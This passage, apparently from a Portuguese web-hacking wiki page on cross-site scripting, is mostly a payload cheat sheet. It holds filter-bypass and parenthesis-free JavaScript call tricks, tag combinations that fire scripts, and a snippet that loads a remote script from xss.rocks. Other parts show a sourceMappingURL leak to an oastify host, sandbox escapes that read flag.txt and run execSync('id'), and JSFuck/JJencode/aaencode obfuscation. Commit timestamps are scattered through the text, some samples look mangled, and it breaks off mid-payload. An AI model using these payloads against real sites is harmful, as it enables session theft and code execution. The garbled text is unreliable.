'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself
```
**Substituições de espaços dentro do código JS**
```javascript
<TAB>
/**/
```
**Comentários em JavaScript (do truque de** [**Comentários em JavaScript**](./#javascript-comments)**)**
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
2023-03-03 17:26:17 +00:00
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**Quebra de linha em JavaScript (do truque de** [**quebra de linha em JavaScript**](./#javascript-new-lines)**)**
```javascript
//Javascript interpret as new line these chars:
2023-03-03 17:26:17 +00:00
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
```
**Espaços em branco do JavaScript**
2023-03-03 17:26:17 +00:00
```javascript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
2023-03-03 17:26:17 +00:00
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>
```
2023-06-06 18:56:34 +00:00
**Javascript dentro de um comentário**
2023-03-03 17:26:17 +00:00
```javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
```
2023-06-06 18:56:34 +00:00
**JavaScript sem parênteses**
2023-02-07 10:56:16 +00:00
````javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
2023-02-07 10:56:16 +00:00
// Backtips
// Backtips pass the string as an array of lenght 1
2023-02-07 10:56:16 +00:00
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
2023-02-07 10:56:16 +00:00
function btt(){
console.log(arguments);
2023-02-07 10:56:16 +00:00
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
2023-02-07 10:56:16 +00:00
Function`x${'alert(1337)'}x```
// .replace can use regexes and call a function if something is found
2023-02-07 10:56:16 +00:00
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
2023-02-07 10:56:16 +00:00
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
2023-02-07 10:56:16 +00:00
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
2023-02-07 10:56:16 +00:00
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
2023-02-07 10:56:16 +00:00
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
2023-02-07 10:56:16 +00:00
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
2023-02-07 10:56:16 +00:00
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
2023-02-07 10:56:16 +00:00
````
* [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
* [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**Chamada de função arbitrária (alerta)**
````javascript
2021-06-02 22:22:26 +00:00
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
2021-06-07 22:45:34 +00:00
[]["constructor"]["constructor"]`$${alert()}```
2023-03-03 17:26:17 +00:00
import('data:text/javascript,alert(1)')
2021-06-02 22:22:26 +00:00
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
2021-02-25 11:39:28 +00:00
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
2021-06-02 22:22:26 +00:00
<svg><animate onbegin=alert() attributeName=x></svg>
````
2023-06-06 18:56:34 +00:00
## **Vulnerabilidades DOM**
Existe **código JS** que está usando **dados controlados de forma insegura por um atacante** como `location.href`. Um atacante poderia abusar disso para executar código JS arbitrário.\
**Devido à extensão da explicação das** [**vulnerabilidades DOM, ela foi movida para esta página**](dom-xss.md)**:**
2021-05-27 11:59:23 +00:00
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
{% endcontent-ref %}
2021-05-27 11:59:23 +00:00
Lá você encontrará uma **explicação detalhada do que são as vulnerabilidades DOM, como são provocadas e como explorá-las**.\
Além disso, não se esqueça que **no final do post mencionado** você pode encontrar uma explicação sobre [**ataques de DOM Clobbering**](dom-xss.md#dom-clobbering).
## Outras Formas de Bypass
2023-06-06 18:56:34 +00:00
### Unicode Normalizado
Você pode verificar se os **valores refletidos** estão sendo **normalizados em unicode** no servidor (ou no lado do cliente) e abusar dessa funcionalidade para contornar proteções. [**Encontre um exemplo aqui**](../unicode-injection/#xss-cross-site-scripting).
### Bypass do flag PHP FILTER\_VALIDATE\_EMAIL
```javascript
"><svg/onload=confirm(1)>"@x.y
```
### Bypass Ruby-On-Rails
Devido às **atribuições em massa do RoR**, as aspas são inseridas no HTML e, em seguida, a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\
Por exemplo de formulário ([deste relatório](https://hackerone.com/reports/709336)), se você enviar o payload:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
O par "Chave","Valor" será ecoado de volta assim:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
### Combinações Especiais
```markup
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
2021-06-02 22:22:26 +00:00
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### XSS com injeção de cabeçalho em uma resposta 302
Se você descobrir que pode **injetar cabeçalhos em uma resposta de redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso não é trivial, pois os navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um payload de script entre sites é inútil.
2020-10-16 10:44:40 +00:00
Neste [**relatório**](https://www.gremwell.com/firefox-xss-302) e [**este**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/), você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute o payload XSS dentro do corpo. Protocolos conhecidos anteriormente: `mailto://`, `//x:1/`, `ws://`, `wss://`, cabeçalho Location vazio, `resource://`.
2020-10-16 10:44:40 +00:00
### Apenas Letras, Números e Pontos
2020-10-16 10:44:40 +00:00
Se você puder indicar o **callback** que o javascript vai **executar** limitado a esses caracteres. [**Leia esta seção deste post**](./#javascript-function) para descobrir como abusar desse comportamento.
2022-06-23 12:12:25 +00:00
### Tipos de Conteúdo `<script>` válidos para XSS
2022-06-23 12:12:25 +00:00
(De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Se você tentar carregar um script com um **tipo de conteúdo** como `application/octet-stream`, o Chrome lançará o seguinte erro:
2023-01-05 13:05:03 +00:00
> Recusou-se a executar o script de '[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') porque seu tipo MIME ('application/octet-stream') não é executável, e a verificação estrita do tipo MIME está ativada.
2023-01-05 13:05:03 +00:00
Os únicos **tipos de conteúdo** que o Chrome suportará para executar um **script carregado** são aqueles dentro da constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
2023-01-05 13:05:03 +00:00
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
2023-01-05 13:05:03 +00:00
};
```
### Tipos de Scripts para XSS
2023-01-05 13:05:03 +00:00
(De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Então, quais tipos podem ser indicados para carregar um script?
2023-01-05 13:05:03 +00:00
```html
<script type="???"></script>
```
A resposta é:
* **módulo** (padrão, nada a explicar)
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS...) em um arquivo **`.wbn`**.
2023-01-05 13:05:03 +00:00
```html
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
2023-01-05 13:05:03 +00:00
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
```
* [**importmap**](https://github.com/WICG/import-maps)**:** Permite melhorar a sintaxe de importação
2023-01-05 13:05:03 +00:00
```html
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
2023-01-05 13:05:03 +00:00
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>
```
Este comportamento foi utilizado [**neste artigo**](https://github.com/zwade/yaca/tree/master/solution) para remapear uma biblioteca para eval e abusá-la para acionar XSS.
2023-01-05 13:05:03 +00:00
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Este recurso é principalmente para resolver alguns problemas causados pelo pré-renderização. Funciona assim:
2023-01-05 13:05:03 +00:00
```html
<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
2023-01-05 13:05:03 +00:00
}
</script>
```
### Tipos de Conteúdo da Web para XSS
2023-01-05 13:05:03 +00:00
(De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores:
2023-01-05 13:05:03 +00:00
* text/html
* application/xhtml+xml
* application/xml
* text/xml
* image/svg+xml
2023-06-06 18:56:34 +00:00
* text/plain (?? não está na lista, mas acho que vi isso em um CTF)
* application/rss+xml (desativado)
* application/atom+xml (desativado)
2023-01-05 13:05:03 +00:00
Em outros navegadores outros **`Tipos de Conteúdo`** podem ser usados para executar JS arbitrário, verifique: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
2023-03-03 17:26:17 +00:00
2023-06-06 18:56:34 +00:00
### Tipo de Conteúdo xml
2023-03-03 17:26:17 +00:00
2023-06-06 18:56:34 +00:00
Se a página estiver retornando um tipo de conteúdo text/xml, é possível indicar um namespace e executar JS arbitrário:
2023-03-03 17:26:17 +00:00
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
```
### Padrões de Substituição Especiais
2023-03-03 17:26:17 +00:00
Quando algo como **`"alguns {{modelo}} dados".replace("{{modelo}}", <entrada_do_usuario>)`** é usado. O atacante poderia usar [**substituições de string especiais**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) para tentar contornar algumas proteções: ``"123 {{modelo}} 456".replace("{{modelo}}", JSON.stringify({"nome": "$'$`alert(1)//"}))``
2023-01-05 13:05:03 +00:00
Por exemplo, neste [**relatório**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), isso foi usado para **escapar uma string JSON** dentro de um script e executar código arbitrário.
2023-01-05 13:05:03 +00:00
### Chrome Cache para XSS
{% content-ref url="chrome-cache-to-xss.md" %}
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
{% endcontent-ref %}
2023-01-13 17:40:30 +00:00
### Escapando de Prisões XS
2022-07-10 22:26:52 +00:00
Se você só tem um conjunto limitado de caracteres para usar, verifique essas outras soluções válidas para problemas de XSJail:
2022-07-10 22:26:52 +00:00
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
2022-07-10 22:26:52 +00:00
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
2022-07-10 22:26:52 +00:00
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
2022-07-10 22:26:52 +00:00
with(this)
with(constructor)
constructor(source)()
2022-07-10 22:26:52 +00:00
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Se **tudo é indefinido** antes de executar código não confiável (como em [**este artigo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), é possível gerar objetos úteis "do nada" para abusar da execução de código não confiável arbitrário:
* Usando import()
```javascript
// although import "fs" doesnt work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
```
* Acessando `require` indiretamente
[De acordo com isso](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) os módulos são envolvidos pelo Node.js dentro de uma função, como este exemplo:
```javascript
(function (exports, require, module, __filename, __dirname) {
// our actual module code
});
```
Portanto, se a partir desse módulo podemos **chamar outra função**, é possível usar `arguments.callee.caller.arguments[1]` dessa função para acessar **`require`**:
{% code overflow="wrap" %}
```javascript
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
```
{% endcode %}
Da mesma forma que no exemplo anterior, é possível **usar manipuladores de erro** para acessar o **wrapper** do módulo e obter a função **`require`**:
```javascript
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
```
### Ofuscação e Desvio Avançado
2022-07-10 22:26:52 +00:00
2023-06-06 18:56:34 +00:00
* **Diferentes ofuscações em uma página:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
2022-02-02 15:35:20 +00:00
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
* [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
* [http://www.jsfuck.com/](http://www.jsfuck.com)
2023-06-06 18:56:34 +00:00
* JSFuck mais sofisticado: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
* [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
* [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
2022-09-23 09:06:24 +00:00
* [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
```javascript
//Katana
<script>([,,,,,]=[]+{},[,,,,,,,,,,]=[!!]+!+.)[=++++++++++][](+++++'(-~ウ)')()</script>
```
```javascript
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
```
```javascript
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
```
```javascript
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] 